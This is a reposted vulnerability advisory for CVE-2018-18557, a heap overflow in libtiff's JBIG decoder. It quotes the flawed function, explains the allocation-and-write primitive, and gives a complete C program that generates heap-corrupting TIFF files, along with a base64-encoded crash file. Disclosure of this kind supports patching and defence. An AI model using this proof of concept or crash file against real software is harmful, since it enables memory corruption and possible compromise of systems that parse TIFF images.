Libtiff Decodes Arbitrarilly-Sozed JBIG Into A Target Buffer

2018.10.27
Risk: High
Local: Yes
Remote: No
CWE: CWE-787


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

libtiff decodes arbitrarily-sized JBIG into a target buffer CVE-2018-18557 libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size. The issue occurs because JBIGDecode entirely ignores the size of the buffer that is passed to it: static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s) { struct jbg_dec_state decoder; int decodeStatus = 0; unsigned char* pImage = NULL; (void) size, (void) s; if (isFillOrder(tif, tif->tif_dir.td_fillorder)) { TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize); } jbg_dec_init(&decoder); (...) decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata, (size_t)tif->tif_rawdatasize, NULL); if (JBG_EOK != decodeStatus) { (...) } pImage = jbg_dec_getimage(&decoder, 0); _TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder)); jbg_dec_free(&decoder); return 1; } The 4th line above is apparently to silence compiler warnings; the code proceeds to decode the JBIG contents, and then blindly copies as many bytes as decoded into the target buffer by means of _TIFFmemcpy. The attack primitive here ends up as follows: 1) The attacker gets to perform an allocation of a size of his choosing. 2) The attacker gets to write a pretty arbitrary amount of data of his choosing into this buffer. Reproducing testcases can be generated using the following C code: ============================================================================= #include <stdlib.h> #include <stdio.h> #include <sys/stat.h> #include <stdint.h> #include "jbig.h" void output_bie(unsigned char *start, size_t len, void *file) { fwrite(start, 1, len, (FILE *) file); return; } int main(int argc, char**argv) { FILE* inputfile = fopen(argv[1], "rb"); FILE* outputfile = fopen(argv[2], "wb"); // Write the hacky TIF header. unsigned char buf[] = { 0x49, 0x49, // Identifier. 0x2A, 0x00, // Version. 0xCA, 0x03, 0x00, 0x00, // First IFD offset. 0x32, 0x30, 0x30, 0x31, 0x3a, 0x31, 0x31, 0x3a, 0x32, 0x37, 0x20, 0x32, 0x31, 0x3a, 0x34, 0x30, 0x3a, 0x32, 0x38, 0x00, 0x38, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00 }; fwrite(&(buf[0]), sizeof(buf), 1, outputfile); // Read the inputfile. struct stat st; stat(argv[1], &st); size_t size = st.st_size; unsigned char* data = malloc(size); fread(data, size, 1, inputfile); // Calculate how many "pixels" we have in the input. unsigned char *bitmaps[1] = { data }; struct jbg_enc_state se; jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile); jbg_enc_out(&se); jbg_enc_free(&se); // The raw JBIG data has been written, now write the IFDs for the TIF file. unsigned char ifds[] = { 0x0E, 0x00, // Number of entries. +0 0xFE, 0x00, // Subfile type. +2 0x04, 0x00, // Datatype: LONG. +6 0x01, 0x00, 0x00, 0x00, // 1 element. +10 0x00, 0x00, 0x00, 0x00, // 0 +14 0x00, 0x01, // IMAGE_WIDTH +16 0x03, 0x00, // Datatype: SHORT. +18 0x01, 0x00, 0x00, 0x00, // 1 element. +22 0x96, 0x00, 0x00, 0x00, // 96 hex width. +26 0x01, 0x01, // IMAGE_LENGTH +28 0x03, 0x00, // SHORT +30 0x01, 0x00, 0x00, 0x00, // 1 element +34 0x96, 0x00, 0x00, 0x00, // 96 hex length. +38 0x02, 0x01, // BITS_PER_SAMPLE +40 0x03, 0x00, // SHORT +42 0x01, 0x00, 0x00, 0x00, // 1 element +46 0x01, 0x00, 0x00, 0x00, // 1 +50 0x03, 0x01, // COMPRESSION +52 0x03, 0x00, // SHORT +54 0x01, 0x00, 0x00, 0x00, // 1 element +58 0x65, 0x87, 0x00, 0x00, // JBIG +62 0x06, 0x01, // PHOTOMETRIC +64 0x03, 0x00, // SHORT +66 0x01, 0x00, 0x00, 0x00, // 1 element +70 0x00, 0x00, 0x00, 0x00, // / +74 0x11, 0x01, // STRIP_OFFSETS +78 0x04, 0x00, // LONG +80 0x13, 0x00, 0x00, 0x00, // 0x13 elements +82 0x2C, 0x00, 0x00, 0x00, // Offset 2C in file +86 0x15, 0x01, // SAMPLES_PER_PIXEL +90 0x03, 0x00, // SHORT +92 0x01, 0x00, 0x00, 0x00, // 1 element +94 0x01, 0x00, 0x00, 0x00, // 1 +98 0x16, 0x01, // ROWS_PER_STRIP +102 0x04, 0x00, // LONG +104 0x01, 0x00, 0x00, 0x00, // 1 element +106 0xFF, 0xFF, 0xFF, 0xFF, // Invalid +110 0x17, 0x01, // STRIP_BYTE_COUNTS +114 0x04, 0x00, // LONG +116 0x13, 0x00, 0x00, 0x00, // 0x13 elements +118 0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122 0x1A, 0x01, // X_RESOLUTION 0x05, 0x00, // RATIONAL 0x01, 0x00, 0x00, 0x00, // 1 element 0x1C, 0x00, 0x00, 0x00, 0x1B, 0x01, // Y_RESOLUTION 0x05, 0x00, // RATIONAL 0x01, 0x00, 0x00, 0x00, // 1 Element 0x24, 0x00, 0x00, 0x00, 0x28, 0x01, // RESOLUTION_UNIT 0x03, 0x00, // SHORT 0x01, 0x00, 0x00, 0x00, // 1 Element 0x02, 0x00, 0x00, 0x00, // 2 0x0A, 0x01, // FILL_ORDER 0x03, 0x00, // SHORT 0x01, 0x00, 0x00, 0x00, // 1 Element 0x02, 0x00, 0x00, 0x00, // Bit order inverted. 0x00, 0x00, 0x00, 0x00 }; // Adjust the offset for the IFDs. uint32_t ifd_offset = ftell(outputfile); fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile); fseek(outputfile, 4, SEEK_SET); fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile); // Adjust the strip size properly. fseek(outputfile, ifd_offset + 118, SEEK_SET); fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile); fclose(outputfile); fclose(inputfile); return 0; } =============================================================== Build & link with -ljbig. You can then create a new TIFF file that corrupts the heap by doing ./a.out file_with_data_to_clobber_the_heap_with.txt outputfile.tiff An example TIFF file that crashes various tiff readers is base64-encoded below: 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 AAAAAAAA Labels: Vendor-libtiff Product-libtiff Severity-High Methodology-source-review (e.g. Methodology-source-review) Finder-thomasdullien Reported-2018-Oct-13 This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: thomasdu...


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top